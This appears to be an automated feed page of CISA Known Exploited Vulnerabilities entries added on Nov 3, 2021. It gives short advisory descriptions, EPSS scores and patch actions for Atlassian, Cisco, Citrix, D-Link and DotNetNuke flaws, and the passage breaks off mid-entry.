CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability
https://kevwire.com/record/CVE-2021-26084
Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability (Nov 3, 2021).
Atlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26084&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26084: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26084&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Crowd and Crowd Data Center Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-11580
Atlassian Crowd and Crowd Data Center Remote Code Execution Vulnerability (Nov 3, 2021).
Atlassian Crowd and Crowd Data Center contain a remote code execution vulnerability resulting from a pdkinstall development plugin being incorrectly enabled in release builds.
EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11580&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11580: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11580&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability
https://kevwire.com/record/CVE-2019-3396
Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability (Nov 3, 2021).
Atlassian Confluence Server and Data Center contain a server-side template injection vulnerability that may allow an attacker to achieve path traversal and remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3396&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-3396: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3396&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BQE BillQuick Web Suite SQL Injection Vulnerability
https://kevwire.com/record/CVE-2021-42258
BQE BillQuick Web Suite SQL Injection Vulnerability (Nov 3, 2021).
BQE BillQuick Web Suite contains an SQL injection vulnerability when accessing the username parameter that may allow for unauthenticated, remote code execution.
EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42258&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42258: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42258&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Read-Only Path Traversal Vulnerability
https://kevwire.com/record/CVE-2020-3452
Cisco ASA and FTD Read-Only Path Traversal Vulnerability (Nov 3, 2021).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs.  An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3452&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3452: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3452&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2020-3580
Cisco ASA and FTD Cross-Site Scripting (XSS) Vulnerability (Nov 3, 2021).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an insufficient input validation vulnerability for user-supplied input by the web services interface.  Successful exploitation could allow an attacker to perform cross-site scripting (XSS) in the context of the interface or access sensitive browser-based information.
EPSS 85.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3580&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3580: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3580&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-1497
Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability (Nov 3, 2021).
Cisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the root user.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1497&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1497: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1497&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco HyperFlex HX Data Platform Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-1498
Cisco HyperFlex HX Data Platform Command Injection Vulnerability (Nov 3, 2021).
Cisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the tomcat8 user.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1498&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1498: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1498&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-0171
Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability (Nov 3, 2021).
Cisco IOS and IOS XE Software improperly validates packet data, allowing an unauthenticated, remote attacker to trigger a reload of an affected device, cause a denial-of-service (DoS) condition, or perform code execution on the affected device.
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0171&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0171: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0171&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Software Discovery Protocol Format String Vulnerability
https://kevwire.com/record/CVE-2020-3118
Cisco IOS XR Software Discovery Protocol Format String Vulnerability (Nov 3, 2021).
Cisco IOS XR improperly validates string input from certain fields in Cisco Discovery Protocol messages. Exploitation could allow an unauthenticated, adjacent attacker to execute code with administrative privileges or cause a reload on an affected device.
EPSS 11.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3118&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3118: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3118&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability
https://kevwire.com/record/CVE-2020-3566
Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability (Nov 3, 2021).
Cisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3566&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3566: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3566&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability
https://kevwire.com/record/CVE-2020-3569
Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability (Nov 3, 2021).
Cisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3569&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3569: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3569&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IP Phones Web Server Remote Code Execution and Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2020-3161
Cisco IP Phones Web Server Remote Code Execution and Denial-of-Service Vulnerability (Nov 3, 2021).
Cisco IP Phones contain an improper input validation vulnerability for HTTP requests. Exploitation could allow an attacker to execute code remotely with root privileges or cause a denial-of-service (DoS) condition.
EPSS 83.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3161&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3161&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2019-1653
Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability (Nov 3, 2021).
Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers contain improper access controls for URLs. Exploitation could allow an attacker to download the router configuration or detailed diagnostic information.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1653&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1653: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1653&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0296
Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability (Nov 3, 2021).
Cisco Adaptive Security Appliance (ASA) contains an improper input validation vulnerability with HTTP URLs. Exploitation could allow an attacker to cause a denial-of-service (DoS) condition or information disclosure.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0296&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0296: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0296&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix StoreFront Server XML External Entity (XXE) Processing Vulnerability
https://kevwire.com/record/CVE-2019-13608
Citrix StoreFront Server XML External Entity (XXE) Processing Vulnerability (Nov 3, 2021).
Citrix StoreFront Server contains an XML External Entity (XXE) processing vulnerability that may allow an unauthenticated attacker to retrieve potentially sensitive information.
EPSS 30.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-13608&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-13608: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-13608&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix ADC, Gateway, and SD-WAN WANOP Appliance Authorization Bypass Vulnerability
https://kevwire.com/record/CVE-2020-8193
Citrix ADC, Gateway, and SD-WAN WANOP Appliance Authorization Bypass Vulnerability (Nov 3, 2021).
Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an authorization bypass vulnerability that may allow unauthenticated access to certain URL endpoints. The attacker must have access to the NetScaler IP (NSIP) in order to perform exploitation.
EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8193&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2020-8195
Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability (Nov 3, 2021).
Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.
EPSS 33.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8195&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8195&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2020-8196
Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability (Nov 3, 2021).
Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.
EPSS 26.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8196&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8196: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8196&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-19781
Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability (Nov 3, 2021).
Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an unspecified vulnerability that could allow an unauthenticated attacker to perform code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-19781&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-19781: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-19781&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Workspace Application and Receiver for Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-11634
Citrix Workspace Application and Receiver for Windows Remote Code Execution Vulnerability (Nov 3, 2021).
Citrix Workspace Application and Receiver for Windows contains remote code execution vulnerability resulting from local drive access preferences not being enforced into the clients' local drives.
EPSS 8.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11634&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11634: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11634&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-825 R1 Devices Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-29557
D-Link DIR-825 R1 Devices Buffer Overflow Vulnerability (Nov 3, 2021).
D-Link DIR-825 R1 devices contain a buffer overflow vulnerability in the web interface that may allow for remote code execution.
EPSS 55.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-29557&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-29557: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-29557&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DNS-320 Device Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-25506
D-Link DNS-320 Device Command Injection Vulnerability (Nov 3, 2021).
D-Link DNS-320 device contains a command injection vulnerability in the sytem_mgr.cgi component that may allow for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25506&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-25506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25506&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability
https://kevwire.com/record/CVE-2018-15811
DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability (Nov 3, 2021).
DotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters.
EPSS 76.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15811&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-15811: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15811&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability
https://kevwire.com/record/CVE-2018-18325
DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability (Nov 3, 2021).
DotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters. This CVE ID resolves an incomplete patch for CVE-2018-15811.
EPSS 74.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-18325&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-18325: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-18325&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DotNetNuke (DNN) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-9822
DotNetNuke (DNN) Remote Code Execution Vulnerability (Nov 3, 2021).
DotNetNuke (DNN) contains a vulnerability that may allow for remote code execution via cookie deserialization.
